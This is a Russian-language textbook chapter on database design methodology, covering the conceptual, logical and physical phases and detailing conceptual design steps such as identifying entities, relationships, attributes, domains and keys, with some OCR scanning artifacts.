Методология проектирования предусматривает разбиение всего процесса на несколько фаз, каждая из которых, в свою очередь, состоит из нескольких этапов. На каждом этапе разработчику предлагается набор технических приемов, позволяющих решать задачи, стоящие перед ним на данной стадии разработки. Кроме того, методология предлагает методы планирования, координации, управления, оценки хода разработки проекта, а также структурированный подход к анализу и моделированию всего набора предъявляемых к базе данных требований и позволяет выполнить эти действия стандартизированным и организованным образом.
Концептуальное, логическое и физическое проектирование базы данных
В предлагаемой методологии проектирования баз данных весь процесс разработки разделяется на три основные фазы: концептуальное, логическое и физическое проектирование.
Концептуальное
Процедура конструирования информационной модели предпри
проектирование
ятия, не зависящей от каких-либо физических условий реали
базы данных
зации.
Фаза концептуального проектирования базы данных начинается с создания концептуальной модели данных предприятия, полностью независимой от любых деталей реализации. К последним относятся: выбранный тип СУБД, состав программ приложения, используемый язык программирования, конкретная вычислительная платформа и любые другие физические особенности реализации.
Логическое
Процесс конструирования информационной модели предпри
проектирование
ятия на основе существующих конкретных моделей данных, не
базы данных
зависимой от используемой СУБД и прочих физических условий реализации.
Фаза логического проектирования базы данных заключается в преобразовании концептуальной модели данных в логическую модель данных предприятия с учетом выбранного типа СУБД (например, предполагается использование некоторой реляционной СУБД). Логическая модель данных является источником информации для фазы физического проектирования. Она предоставляет разработчику физической модели данных средства проведения всестороннего анализа различных аспектов работы с данными, что имеет исключительно важное значение для выбора действительно эффективного проектного решения.
Физическое Процесс создания описания конкретной реализации базы дан- проектирование ных, размещаемой во вторичной памяти. Предусматривает опи- базы данных сание структуры хранения данных и методов доступа, предназначенных для осуществления наиболее эффективного доступа к информации.
Фаза физического проектирования базы данных предусматривает принятие разработчиком окончательного решения о способах реализации создаваемой базы. Поэтому физическое проектирование обязательно производится с учетом всех особенностей используемой СУБД. Между фазами физического и логического проектирования всегда имеется определенная обратная связь, поскольку решения, принятые на этапе физического проектирования с целью повышения производительности разрабатываемой системы, могут потребовать некоторого пересмотра логической модели данных.
Важнейшие факторы успешного завершения проектирования базы данных
Ниже приведены некоторые рекомендации, следовать которым необходимо для успешного завершения процедуры проектирования базы данных.
Поддерживайте постоянную и активную связь с будущими пользователями приложения.
При проведении процедур моделирования данных придерживайтесь рекомендаций, приведенных при обсуждении предлагаемой методологии.
Разрабатывайте систему исходя из существующих характеристик данных.
Создавайте модель данных с учетом требований поддержки их структурной целостности и согласованности.
Дополняйте предлагаемые данной методологией процедуры технологическими приемами концептуализации, нормализации и проверки целостности транзакций.
Для представления модели данных как можно шире используйте диаграммы.
Для описания дополнительных семантических требований к данным используйте средства языка DBDL (Database Design Language).
В дополнение к диаграммам моделей данных разработайте словарь описания данных.
Без колебаний возвращайтесь к уже выполненным ранее этапам, если это •требуется для достижения оптимальных результатов.
Общий обзор процедуры проектирования базы данных
В этом разделе мы предлагаем вашему вниманию общий обзор всех этапов, предусматриваемых предлагаемой методологией разработки базы данных. В целом, процедура разработки включает следующие этапы.
Концептуальное проектирование базы данных
Этап 1. Создание локальной концептуальной модели данных исходя из представлений о предметной области каждого из типов пользователей.
Этап 1.1. Определение типов сущностей.
Этап 1.2. Определение типов связей.
Этап 1.3. Определение атрибутов и связывание их с типами сущностей и связей.'
Этап 1.4. Определение доменов атрибутов.
Этап 1.5. Определение атрибутов, являющихся потенциальными и первичными ключами.
Этап 1.6. Специализация или генерализация типов сущностей (необязательный этап).
Этап 1.7. Создание диаграммы “сущность-связь”.
Этап 1.8. Обсуждение локальных концептуальных моделей данных с конечными пользователями.
Логическое проектирование базы данных (для реляционной модели)
Этап 2. Построение и проверка локальной логической модели данных на основе представления о предметной области каждого из типов пользователей.
Этап 2.1. Преобразование локальной концептуальной модели данных в локальную логическую модель.'
Этап 2.2. Определение набора отношений исходя из структуры локальной логической модели данных.
Этап 2.3. Проверка модели с помощью правил нормализации.
Этап 2.4. Проверка модели в отношении транзакций пользователей.
Этап 2.5. Создание диаграмм “сущность-связь”.
Этап 2.6. Определение требований поддержки целостности данных.
Этап 2.7. Обсуждение разработанных локальных логических моделей данных с конечными пользователями.
Этап 3. Создание и проверка глобальной логической модели данных.
Этап 3.1. Слияние локальных логических моделей данных в единую глобальную модель данных.
Этап 3.2. Проверка глобальной логической модели данных.
Этап 3.3. Проверка возможностей расширения модели в будущем.
Этап 3.4. Создание окончательного варианта диаграммы “сущность- связь”.
Этап 3.5. Обсуждение глобальной логической модели данных с пользователями.
Физическое проектирование базы данных (с использованием реляционной
СУБД)
Этап 4. Перенос глобальной логической модели данных в среду целевой СУБД.
Этап 4.1. Проектирование основных таблиц в среде целевой СУБД.
Этап 4.2. Реализация бизнес-правил предприятия в среде целевой СУБД.
Этап 5. Проектирование физического представления базы данных.
Этап 5.1. Анализ транзакций.
Этап 5.2. Выбор файловой структуры.
Этап 5.3. Определение вторичных индексов.
Этап 5.4. Анализ необходимости введения контролируемой избыточности данных.
Этап 5.5. Определение требований к дисковой памяти.
Этап 6. Разработка механизмов защиты.
Этап 6.1. Разработка пользовательских представлений (видов).
Этап 6.2. Определение прав доступа.
Этап 7. Организация мониторинга и настройка функционирования системы.
Концептуальное и логическое проектирование базы данных включает три основных этапа. Задачей первого этапа является разбиение проекта на группу относительно небольших (и более простых) задач исходя из представлений о предметной области приложения, свойственных каждому из типов конечных пользователей. Результатом выполнения этого этапа является создание локальных концептуальных моделей данных, представляющих собой полное и точное отражение представлений о предметной области приложения отдельных типов пользователей.
На втором этапе локальные концептуальные модели данных преобразуются в локальные логические модели данных (для реляционной модели данных). На этом этапе из моделей данных удаляются нежелательные элементы, затрудняющие реализацию моделей данных в среде реляционных СУБД. Затем корректность логических моделей данных проверяется с помощью правил нормализации. Нормализация представляет собой эффективное средство, позволяющее убедиться в структурной согласованности, логической целостности и минимальной избыточности принятой модели данных. Дополнительно модель данных проверяется с целью выявления возможности осуществления транзакций, которые будут выполняться пользователями создаваемого приложения. Все эти проверки позволяют получить необходимую уверенность в том, что принятая модель данных является вполне корректной. Локальные логические модели данных при необходимости можно использовать для генерации прототипов реализаций базы данных, предназначенных для отдельных типов пользователей приложения.
На третьем этапе выполняется интеграция локальных логических моделей данных (отражающих представление о предметной области отдельных типов пользователей) в единую глобальную логическую модель данных всего предприятия (обобщающую представления о предметной области всех типов пользователей).
В предлагаемой методологии проектирования существенная роль отводится конечным пользователям, которые постоянно привлекаются разработчиками для ознакомления и проверки создаваемых моделей данных и сопроводительной документации. Проектирование баз данных обычно представляет собой итеративный процесс, имеющий конкретную точку начала и включающий неограниченное число циклов улучшений и доработок. Хотя в нашем изложении этот процесс выглядит как четко определенная последовательность процедур, следует особо подчеркнуть, что это ни в коей мере не означает, что разработка базы данных непременно должна выполняться именно в такой манере. Весьма вероятно, что сведения, полученные при выполнении некоторого этапа, могут потребовать изменить решения, принятые на одном из предыдущих этапов. Поэтому мы считаем, что практика предварительного анализа возможных результатов выполнения последующих этапов может оказаться полезной при выполнении начальных этапов разработки. Предлагаемую методологию следует рассматривать как общую схему, которая позволит повысить общую эффективность работы по проектированию баз данных.
В этой главе этапы физического проектирования базы данных представлены из соображений полноты предлагаемой схемы, подробное их обсуждение мы проведем в главах 9 и 12.
Методология концептуального проектирования базы данных
В данном разделе вашему вниманию предлагается поэтапное руководство по концептуальному проектированию баз данных.
Этап 1. Создание локальной концептуальной модели данных на основе представления о предметной области каждого из типов пользователей
Цепь Создание локальной концептуальной модели данных предприятия на основе представления о предметной области каждого отдельного типа пользователей.
Первый этап проектирования базы данных состоит в разработке концептуальных моделей данных для каждого из существующих типов пользователей создаваемого приложения. Представление пользователя включает в себя данные, необходимые конкретному пользователю для принятия решений или выполнения некоторого задания. Обычно представление пользователя отражает некоторую функциональную область в общем поле деятельности предприятия — например, производство, маркетинг, сбыт, управление кадрами или складской учет. Пользователь может быть как отдельным работником, так и группой лиц, которые будут непосредственно работать с создаваемым приложением. В альтернативном случае понятие “пользователь” может представлять генерируемый системой отчет или даже запрос, связанный с получением результатов транзакции. Суть в том, что в любом случае выполнение требуемых пользователю действий должно обеспечиваться создаваемой системой.
Определить характеристики представлений пользователей можно с помощью различных методов. Начать следует с изучения диаграмм потоков данных, которые к этому моменту уже должны быть созданы. Изучение этих диаграмм позволит установить функциональные области и, возможно, отдельные функции. Затем рекомендуется провести опросы потенциальных пользователей, изучить деловые процедуры, существующие отчеты и формы и/или провести обследование работы предприятия.
Для некоторого представления локальной концептуальной моделью данных мы будем называть концептуальную модель данных, которая отражает представление о предметной области приложения соответствующего пользователя. Каждая локальная концептуальная модель данных включает следующее:
типы сущностей;
типы связей;
атрибуты;
домены атрибутов;.
потенциальные ключи;
первичные ключи.
Концептуальная модель данных дополняется документацией, создаваемой в процессе разработки этой модели. На первом этапе разработки должны быть выполнены следующие задания.
Этап 1.1. Определение типов сущностей.
Этап 1.2. Определение типов связей.
Этап 1.3. Определение атрибутов и связывание их с типами сущностей и связей.
Этап 1.4. Определение доменов атрибутов.
Этап 1.5. Определение атрибутов, являющихся потенциальными и первичными ключами.
Этап 1.6. Специализация или генерализация типов сущностей (необязательный этап).
Этап 1.7. Создание диаграммы “сущность-связь”.
Этап 1.8. Обсуждение локальных концептуальных моделей данных с пользователями.
Этап 1.1. Определение типов сущностей
Цель Определение основных типов сущностей, присутствующих в представле-нии данного пользователя о предметной области приложения.
Первый этап в построении локальной концептуальной модели данных состоит в определении основных объектов, которые могут интересовать пользователя. Эти объекты являются типами/зущностей, входящих в модель (см. раздел 5.1.1). Один из методов идентификации сущностей состоит в изучении спецификаций по выполнению конкретных функций пользователя на данном предприятии. Из этих спецификаций следует извлечь все используемые в них существительные или сочетания существительного и прилагательного (например, “личный номер”, “фамилия работника”, “номер объекта недвижимости”, “адрес объекта недвижимости”, “арендная плата”, “количество комнат”). Затем среди них выбираются самые крупные объекты (люди, города) или представляющие интерес концепции и исключаются все существительные, которые просто определяют другие объекты. Например, свойства “личный номер” и “фамилия работника” могут быть объединены в сводном объекте под названием “работник”, тогда как свойства “номер объекта недвижимости”, “адрес объекта недвижимости”, “арендная плата” и “количество комнат” можно объединить в сущности под названием “объект недвижимости”.
Альтернативный способ идентификации сущностей состоит в поиске объектов, которые существуют независимо от других. Например, объект “работник” (staff) безусловно является сущностью, потому что любой работник существует независимо от того, знаем мы его имя, адрес и номер телефона или нет. В этой работе существенную помощь могут оказать пользователи создаваемого приложения.
В некоторых случаях выделение сущностей бывает затруднено из-за способа, посредством которого они представлены в спецификациях. Зачастую пользователи, излагая свои мысли, используют примеры или аналогии. Вместо того чтобы вести разговор о некотором обобщенном работнике, они могут просто упомянуть одно или несколько имен. Бывает также, что пользователи заменяют имена работников или название предприятия выполняемыми ими обязанностями или оказываемыми услугами. В этом случае они могут упоминать либо должность работника, либо выполняемые им функции — например, “руководитель”, “ответственный”, “контролер” или “заместитель”.
Чтобы еще больше запутать положение дел, пользователи часто используют синонимы или омонимы. Синонимами называются слова, сходные по смыслу, но различные по звучанию и написанию, — например, “отделение” и “филиал”. Омонимы — это слова, одинаковые по написанию и звучанию, но имеющие различные смысловые значения, причем реальное значение в каждом конкретном случае можно установить только по контексту. Так, слово “программа” может обозначать курс обучения, предстоящую серию последовательных событий, план предстоящей работы и даже последовательность телепередач.
Далеко не всегда очевидно то, чем является определенный объект — сущностью, связью или атрибутом. Например, как следует классифицировать семейный брак? На практике брак можно вполне обоснованно отнести к любой из упомянутых категорий. Анализ является субъективным процессом, поэтому различные разработчики могут создавать разные, но вполне допустимые интерпретации одного и того же фак-
та. Выбор варианта в значительной степени зависит от здравого смысла и опыта исполнителя. Разработчики баз данных должны ограничить предметную область рамками того взгляда на мир и существующие в нем категории, которые задаются контекстом предприятия и создаваемого для него приложения. Весьма вероятно, что отдельной спецификации с набором требований заказчика может оказаться недостаточно для выделения некоторого уникального набора сущностей. Однако серия итеративных процедур анализа всего комплекса спецификаций на проект, безусловно, позволит определить весь набор сущностей, необходимых для удовлетворения требований к системе.
Документирование типов сущностей
После выделения каждой сущности ей следует присвоить некоторое осмысленное имя, которое обязательно должно быть понятно пользователям. Выбранное имя и описание сущности помещается в словарь данных. Если это возможно, следует установить и внести в документацию ожидаемое количество экземпляров каждой сущности. Если сущность известна пользователям под разными именами, все дополнительные имена рекомендуется определить как алиасы (синонимы) и также занести в словарь данных.
Этап 1.2. Определение типов связей
Цель
Определение важнейших типов связей, существующих между сущностями, выделенными на предыдущем этапе.
После выделения сущностей следующим этапом разработки будет установление всех существующих между ними связей (см. раздел 5.1.3). Одним из методов определения сущностей является выборка всех существительных, присутствующих в спецификациях на проект. Аналогичный подход можно использовать и при определении существующих связей, однако в этом случае выбираются все выражения, в которых содержатся глаголы. Например:
Подразделение имеет персонал.
Персонал занимается объектами недвижимости.
Арендатор просматривает сведения об объектах недвижимости, сдаваемых в аренду.
Тот факт, что текст спецификаций содержит информацию о некоторых связях позволяет предположить, что эти связи являются весьма важными для предприятия. Поэтому они обязательно должны быть отображены в создаваемой модели.
Нас интересуют только те связи между сущностями, которые необходимы для удовлетворения требований к проекту. Так, в предыдущем примере были выделены связи “персонал занимается объектами недвижимости” и “арендатор просматривает сведения об объектах недвижимости, сдаваемых в аренду”. Может возникнуть желание включить в модель и связь между персоналом и арендатором (например, “персонал обслуживает арендатора”). Однако, хотя эта связь является вполне допустимой, в спецификациях на проект нет ни одного указания на то, что она должна быть отображена в модели.
В большинстве случаев связи являются парными — другими словами, связи существуют только между двумя сущностями. Однако следует проявлять осторожность и тщательно проверять наличие в проекте комплексных связи, объединяющих более двух сущностей различных типов, а также рекурсивных связей, существующих между сущностями одного и того же типа.
Особое внимание следует уделять проверке того, были ли выделены все связи, явно или неявно присутствующее в спецификациях на проект. В принципе, каждую из возможных пар сущностей было бы полезно проверить на наличие между ними некоторой связи, однако в крупных системах, включающих сотни типов сущностей, эта задача может оказаться чрезвычайно трудоемкой. Но вообще отказываться от выполнения подобных проверок неразумно, к тому же ответственность за печальные последствия этого
отказа придется нести как аналитикам, так и проектировщикам. Так или иначе, все пропущенные связи будут обязательно выявлены позже, при проведении проверки возможности выполнения транзакций, необходимых пользователям (этап 2.4).
Определение кардинальности связей и ограничений, накладываемых на его участников
Установив связи, которые будут иметь место в создаваемой модели, необходимо определить кардинальность каждой из них. Каждая связь может иметь кардинальность либо “один к одному” (1:1), либо “один ко многим” (1:М), либо “многие ко многим” (М:М) (см. раздел 5.2.1). Если известны конкретные значения кардинальности или хотя бы верхний или нижний предел этих значений, то эту информацию обязательно нужно зафиксировать в документации. Кроме того, следует проанализировать степень участия каждой из сущностей в конкретном типе связи. Степень участия может быть либо полной (тотальной), либо частной (см. раздел 5.2.2).
Модель, включающая сведения о кардинальности связей и степени участия в ней сторон, более наглядно отражает смысл установленных связей. Кроме того, кардинальность связи и стег/ень участия в ней сторон представляют собой определенные ограничения, используемые для проверки и поддержания качества данных в базе. Эти ограничения являются теми утверждениями о свойствах экземпляров сущностей, которые могут быть проверены при изменении данных в базе с целью определения того, вызовут ли данные изменения нарушение установленных правил.
Документирование типов связей
После определения отдельных типов связей им присваиваются осмысленные имена, которые должны быть понятны пользователям. Кроме того, мы рекомендуем помещать в словарь данных развернутое описание каждой связи, включающее сведения о кардинальности и степени участия ее членов.
Использование средств ER-моделирования .
Работа существенно упрощается, если сложная система помимо обширного текстового описания имеет и некоторое визуальное представление. Для представления сущностей и связей между ними обычно используются диаграммы “сущность-связь” (ER-диаграммы).
Мы рекомендуем самое широкое использование ER-диаграмм на всех этапах проектирования базы данных. Это позволит всегда иметь под рукой наглядный образ моделируемой части предприятия.
Этап 1.3. Определение атрибутов и связывание их с типами сущностей и связей
Цель Связывание атрибутов с соответствующими типами сущностей или связей.
На следующем этапе предлагаемой методологии необходимо выявить все данные, описывающие сущности и связи, выделенные в создаваемой модели базы данных. Воспользуемся тем же методом, который применялся нами для идентификации сущностей: выберем все существительные и содержащие их фразы, присутствующие в спецификациях на проект. Выбранное существительное представляет атрибут в том случае, если оно описывает свойство, качество, идентификатор или характеристику некоторой сущности или связи (см. раздел 5.1.2).
Самым простой метод выделения атрибутов — после идентификации очередной сущности или связи в некоторой спецификации задать себе следующий вопрос: “Какую информацию требуется хранить о...”. Ответ на этот вопрос надо искать в тексте спецификации. В некоторых случаях может оказаться полезным попросить пользователей уточнить их требования. К сожалению, пользователи часто дают ответы, содержащие избыточные концепции, поэтому каждый полученный ответ пользователя подлежит самому строгому анализу.
Атрибуты простые и составные
Важно отметить, что каждый атрибут может быть либо простым, либо составным. Составные атрибуты представляют собой набор простых атрибутов. Например, атрибут “Адрес” может быть простым и представлять все элементы адреса как единое значение: "115 Dumbarton Road, Partick, Glasgow, Gil 6YG". В другом варианте этот же атрибут может быть представлен как составной, т.е. состоящий из серии простых атрибутов, содержащих различные элементы адреса. В этом случае то же самое значение может быть разделено на такие атрибуты, как “Улица” (115 Dumbarton Road), “Район” (Partick), “Город” (Glasgow) и “Почтовый код” (Gil 6YG). Выбор способа представления адреса в виде простого или составного атрибута определяется требованиями, предъявляемыми к приложению пользователем. Если пользователь не нуждается в доступе к отдельным элементам адреса, то его целесообразно представить как простой атрибут. Но если пользователю потребуется независимый доступ к отдельным элементам адреса, то атрибут “Адрес” следует сделать составным, образованным из необходимого количества простых атрибутов.
На данном этапе важно идентифицировать все простые атрибуты, которые должны быть представлены в концептуальной модели базы данных, включая и те, которые впоследствии будут использованы для создания составных атрибутов.
Производные атрибуты
Атрибуты, значения которых могут быть установлены с помощью значений других атрибутов, называются производными, или вычисляемыми. Примерами производных атрибутов являются следующие:
количество работников данного отделения предприятия;
возраст работника;
общая сумма зарплаты всего персонала данного отделения предприятия;
количество объектов недвижимости, которыми занимается персонал данного отделения предприятия.
Очень часто подобные атрибуты вообще не отображаются в концептуальной модели данных. Однако в некоторых случаях может иметь место риск удаления или модификации атрибута или атрибутов, значения которых используются для вычисления значения производного атрибута. В этом случае производный атрибут должен быть представлен в модели данных, что позволит предупредить нежелательную потерю информации. Однако, если производный атрибут показан в модели данных, следует непременно указать, что он является именно производным. Способ представления производных атрибутов устанавливается на этапе физического проектирования базы данных. В зависимости от того, как данный реквизит применяется, новое значение производного реквизита может вычисляться либо при каждом обращении к нему, либо только при изменении значений атрибутов, используемых для его расчета. Однако данные вопросы не принимаются во внимание на этапе концептуального проектирования, поэтому их обсуждение откладывается до главы 9, “Методология физического проектирования реляционных баз данных”.
При определении используемых в некотором приложении атрибутов очень часто оказывается, что на предыдущих этапах одна или более сущностей были пропущены. В этом случае следует вернуться к уже выполненным этапам и документально оформить вновь обнаруженные сущности, после чего проанализировать связи, в которых они принимают участие.
Может оказаться полезным подготовить список всех атрибутов, используемых в спецификациях на проект. По мере связывания очередного атрибута с некоторой сущностью или связью, он вычеркивается из списка. Подобный метод позволяет гарантировать, что каждый из атрибутов будет связан с сущностью или связью только одного типа. Когда из списка будет вычеркнут последний атрибут, все идентифицированные в модели атрибуты окажутся связанными с некоторой сущностью или связью.
Следует иметь в виду, что в определенных случаях создается впечатление, что некоторые атрибуты должны быть связаны с сущностями нескольких различных типов. Подобная ситуация возникает в следующих случаях.
Идентифицированы несколько сущностей (например, “Управляющий”, “Инспектор” и “Начальник”), которые, по сути, представляют экземпляры одной и той же обобщенной сущности (например, “Руководитель”). В этом случае следует обдумать, можно ли объединить все эти сущности в единую сущность или стоит сохранить их как независимые сущности, отражающие в приложении различные роли отдельных экземпляров более общей сущности. Вопросы специализации и объединения сущностей будут подробно рассмотрены при обсуждении этапа 1.6.
Обнаружена новая связь между сущностями различных типов. В этом случае атрибут следует связать с какой-либо одной сущностью, которая будет называться родительской, после чего выполнить определение связи, как указано в описании этапа 1.2, включая пополнение документации детальными данными о новой связи.
Документирование а'трибутов
Каждому выявленному атрибуту следует присвоить осмысленное имя, понятное пользователям. О каждом атрибуте в документацию помещаются следующие сведения:
имя атрибута и его описание;
любые алиасы, или синонимы, имеющиеся для данного атрибута;
тип данных и размерность значения;
значение, принимаемое для атрибута по умолчанию (если таковое имеется);
является ли атрибут обязательным (т.е. может ли он отсутствовать или иметь значение NULL);
является ли атрибут составным и, если это так, из каких простых атрибутов он состоит;
является ли данный атрибут производным и, если это так, какой метод следует использовать для вычисления его значения;
является ли данный атрибут множественным (см. раздел 5.1.2).
Этап 1.4. Определение доменов атрибутов
Цель Определение доменов для всех атрибутов, присутствующих в каждой локальной концептуальной модели данных.
Задача этого этапа построения локальной концептуальной модели данных состоит в определении доменов атрибутов для всех атрибутов, присутствующих в модели (см. раздел 5.1.2). Доменом называется некоторый пул значений, элементы которого выбираются для присвоения значений одному или более атрибутам. Ниже приведено несколько примеров доменов.
Домен атрибута, включающий допустимые номера отделений предприятия. Он состоит из трехсимвольных строк, в которых первый символ является буквой, а остальных два — цифрами, задающими числа в диапазоне 1-99.
Домен атрибута, включающий допустимые значения номеров телефонов и факсов. Он состоит из строк длиной в 13 цифровых символов.
Допустимыми значениями для атрибута “Пол” сущности “Работник” являются “М” и “Ж”. Домен этого атрибута состоит из двух строк длиной в один символ, имеющих указанные значения.
Полностью разработанная модель данных должна включать домены для каждого из присутствующих в ней атрибутов. Домены должны содержать следующие данные:
набор допустимых значений для атрибута;
сведения о размере и формате каждого из полей атрибутов.
В доменах может быть указана и другая дополнительная информация — например, сведения о допустимых операциях со значениями атрибута, а также данные о том, какие атрибуты можно использовать для сравнения с другими атрибутами или при построении комбинаций из нескольких атрибутов. Однако методология определения характеристик доменов атрибутов все еще является предметом исследований.
Документирование доменов атрибутов
После определения доменов атрибутов их имена и характеристики помещаются в словарь данных. Одновременно обновляются записи словаря данных, относящиеся к атрибутам, — в них заносятся имена назначенных каждому атрибуту доменов.
Этап 1.5. Определение атрибутов, являющихся потенциальными и первичными ключами
Цель Определение всех потенциальных ключей для каждого типа сущности и, если таких ключей окажется несколько, выбор среди них первичного ключа.
Определение потенциальных ключей и выбор первичного ключа
На этом этапе для каждой сущности устанавливается потенциальный ключ (или ключи), после чего осуществляется выбор первичного ключа (см. раздел 5.1.2). Потенциальным ключом называется атрибут или минимальный набор атрибутов заданной сущности, позволяющий уникальным образом идентифицировать каждый ее экземпляр. Для некоторых сущностей возможно наличие нескольких потенциальных ключей. В этом случае среди них нужно выбрать один ключ, который будет называться первичным ключом. Все остальные потенциальные ключи будут называться альтернативными ключами. При выборе первичного ключа среди нескольких потенциальных руководствуйтесь приведенными ниже рекомендациями.
Используйте потенциальный ключ с минимальным набором атрибутов.
Используйте тот потенциальный ключ, вероятность изменения значений которого минимальна.
Выбирайте тот потенциальный ключ, который имеет минимальную вероятность потери уникальности значений в будущем.
Используйте потенциальный ключ, значения которого имеют минимальную длину (в случае текстовых атрибутов).
Остановите свой выбор на потенциальном ключе, с которым будет проще всего работать (с точки зрения пользователя).
В процессе определения первичного ключа устанавливается, является данная сущность сильной или слабой. Если выбрать первичный ключ для данной сущности оказалось возможным, то такую сущность принято называть сильной. И наоборот, если выбрать первичный ключ для заданной сущности невозможно, то ее называют слабой (см. раздел 5.1.1).
Таким образом, первичный ключ слабой сущности можно будет определить только после отображения этой слабой сущности и ее связи с сущностью-владельцем в отношение, в котором упомянутая связь моделируется посредством помещения в данное отношение соответствующего внешнего ключа. Процедура отображения сущностей и их связей в отношения будет рассмотрена при обсуждении этапа 2.2. Поэтому определение первичных ключей для слабых сущностей может быть выполнено только по достижении указанного этапа разработки.
Документирование первичных и альтернативных ключей
После выбора первичных и альтернативных (если они существуют) ключей сущностей сведения о них необходимо поместить в словарь данных.
Этап 1.6. Специализация или генерализация типов сущностей (необязательный этап)
Цель Определение суперклассов и подклассов для типов сущностей (если этонеобходимо).
На этом этапе при необходимости можно продолжить разработку ER-модели, используя процедуры специализации или генерализации (см. раздел 5.4) по отношению к сущностям, выделенным на этапе 1.1. При проведении специализации предпринимается попытка выделить различия — путем определения одного или более подклассов некоторой сущности, которая в этом случае называется суперклассом специализации. При проведении генерализации предпринимается попытка выделить общие свойства некоторых супуюстей — путем определения обобщающей сущности, называемой суперклассом генерализации.
В качестве примера рассмотрим сущности Property_for_Rent (Недвижимость, сдаваемая в аренду) и Proprty_for_Sale (Недвижимость для продажи), представленные на рис. 7.1, а. Следует принять решение, есть ли необходимость генерализировать эти сущности в подклассы обобщающего суперкласса, представленного сущностью Property (Недвижимость), или же целесообразнее оставить их независимыми сущностями. Обе эти сущности имеют несколько одинаковых атрибутов, связанных с типом объекта недвижимости (Туре) и его адресом (Street, Area, City, Postcode), а также одинаковый первичный ключ (Property_No — Учетный номер объекта недвижимости). Однако они обладают и различными атрибутами — например, такими как Rent (Арендная ставка) в случае сущности Property_for_Rent и Price (Цена) в случае сущности Proprty_for_Sale. Кроме того, отметим, что обе рассматриваемые сущности имеют общую связь Owner Owns Property. Однако каждая из сущностей имеет и собственную уникальную связь — Renter rents Property_for_Rent и Buyer Buys Property_for_Sale.
Мы принимаем решение генерализировать сущности Property_for_Sale и Ргор- erty_for_Rent исходя из существующей между ними общности атрибутов и связей. В результате сущности Property_for_Sale и Property_for_Rent теперь будут рассматриваться нами как отдельные подклассы суперкласса Property, структура которого показана на рис. 7.1, б. Связь, которую суперкласс Property имеет со своими подклассами, является полной и непересекающейся, поскольку каждый член суперкласса Property должен быть членом одного из подклассов (Property_for_Sale или Ргор- erty_for_Rent), но никогда не может принадлежать сразу обоим подклассам. Данное представление является достаточно полезным для отображения общих атрибутов и связей, относящихся к отдельным подклассами.
Нет никаких четких рекомендаций по поводу того, в каких случаях ER-модель следует дополнительно расширять с помощью механизмов специализации и генерализации. В каждом отдельном случае принимаемое решение будет чисто субъективным и должно приниматься с учетом конкретных особенностей моделируемой предметной области.
Для оценки целесообразности применения специализации и генерализации рекомендуем попытаться, используя эти процедуры, представить на ER-модели важнейшие сущности и их связи. Степень специализации или генерализации объектов ER-диаграммы определяется, прежде всего, общей читабельностью этой диаграммы и той ясностью, с которой на ней моделируются важнейшие типы сущностей и связей приложения.
Применение концепций специализации и генерализации позволяет улучшить характеристики созданной ER-модели приложения. Однако этот этап является необязательным, а термин “ER-диаграмма”, или “ER-модель”, мы в данном контексте и до конца этой главы будем использовать просто для ссылок на представление модели данных с помощью диаграмм.
Рис, 7.1: а) сущности Property_for_Sale и Property_for_Rent; б) суперкласс Property с подклассами Property_for_Sale и Proper ty_for_Rent (замечание: состав атрибута Address не раскрыт )
Этап 1.7. Создание диаграммы „сущность-связь"
Цель Разработка диаграмм “сущность-связь” (ER-диаграмм), содержащих концептуальное отражение представлений пользователя о предметной области приложения.
На этом этапе создаются окончательные варианты ER-диаграмм, отображающих локальные концептуальные модели данных, характеризующие представления отдельных пользователей о предметной области приложения.
Этап 1.8. Обсуждение локальных концептуальных моделей данных с конечными пользователями
Цель Обсуждение локальных концептуальных моделей данных с конечными пользователями с целью получения подтверждений, что данная модель корректно отражает представления пользователя о приложении и предприятии.
Прежде чем завершить первый этап разработки, необходимо обсудить созданные локальные концептуальные модели данных с конечными пользователями. Концептуальная модель данных должна быть представлена ER-диаграммой и сопроводительной документацией, содержащей описание разработанной модели данных. Если в предложенной модели будут обнаружены какие-либо несоответствия, следует внести в нее необходимые изменения (скорее всего, для этого потребуется повторно выполнить один или несколько предыдущих этапов разработки). Этот процесс должен продолжаться до тех пор, пока пользователь не подтвердит, что предложенная ему модель адекватно отражает его личное представление о работе приложения и предприятия в целом.
В главе 10, “Пример разработки концептуального проекта базы данных”, мы покажем, как предложенную в этой главе методологию можно использовать на практике. Для этой цели мы воспользуемся демонстрационным примером — приложением DreamHome. Все описанные в этой главе этапы в обобщенном виде представлены в приложении Е, “Краткий обзор методологии проектирования реляционных баз данных”. В следующей главе описываются этапы логического проектирования базы данных.
Резюме
Методология проектирования представляет собой структурированный подход к проектированию баз данных, предусматривающий использование определенных процедур, технологий, инструментов и документации.
Методология проектирования баз данных предусматривает выполнение трех последовательных фаз — концептуального, логического и физического проектирования.
Концептуальное проектирование базы данных представляет собой процесс конструирования информационной модели работы предприятия, не зависящей от каких-либо физических параметров реализации.
Концептуальное проектирование базы данных начинается с создания концептуальной модели данных предприятия, которая является абсолютно независимой от таких деталей реализации, как применяемая СУБД, особенности прикладных программ, используемый язык программирования, выбранная вычислительная платформа и прочие физические условия.
Логическая концептуальная модель данных создается для отражения представления о предметной области приложения каждого из существующих типов 1 пользователей.
Логическое проектирование базы данных представляет собой процесс создания информационной модели работы предприятия на основе отдельных концептуальных моделей данных. Создаваемая модель не зависит от особенностей функционирования конкретных СУБД и других физических условий реализации.
В процессе логического проектирования базы данных локальные концептуальные модели данных преобразуются в локальные логические модели данных, структура которых определяется выбранным классом целевой СУБД (например, СУБД реляционного типа).
Локальные логические модели данных объединяются в глобальную логическую модель данных, отражающую обобщенное представление всех пользователей о предметной области приложения.
Физическое проектирование базы данных представляет собой процесс разработки описания реализации базы данных во вторичной памяти. Это описание содержит сведения о структуре сохраняемых данных и методах доступа, используемых для организации эффективной выборки и обработки данных.
Фаза физического проектирования базы данных предусматривает принятие разработчиками решений о конкретной реализации создаваемой базы данных. Следовательно, физическое проектирование непосредственно связано с учетом всех особенностей используемой СУБД. Как правило, между этапами физического и логического проектирования имеется обратная связь, поскольку принимаемые на этапе физического проектирования решения, связанные с оптимизацией производительности приложения, часто требуют внесения изменений в логическую модель данных.
Имеются определенные важнейшие факторы успешного завершения разработки базы данных, в число которых входят активное взаимодействие с конечными пользователями и неоднократное возвращение к выполненным ранее этапам с целью внесения изменений или проведения доработки.
Главной целью предусмотренного обсуждаемой методологией первого этапа проектирования базы данных является создание локальных концептуальных моделей данных, отражающих представления отдельных пользователей о предметной области приложения.
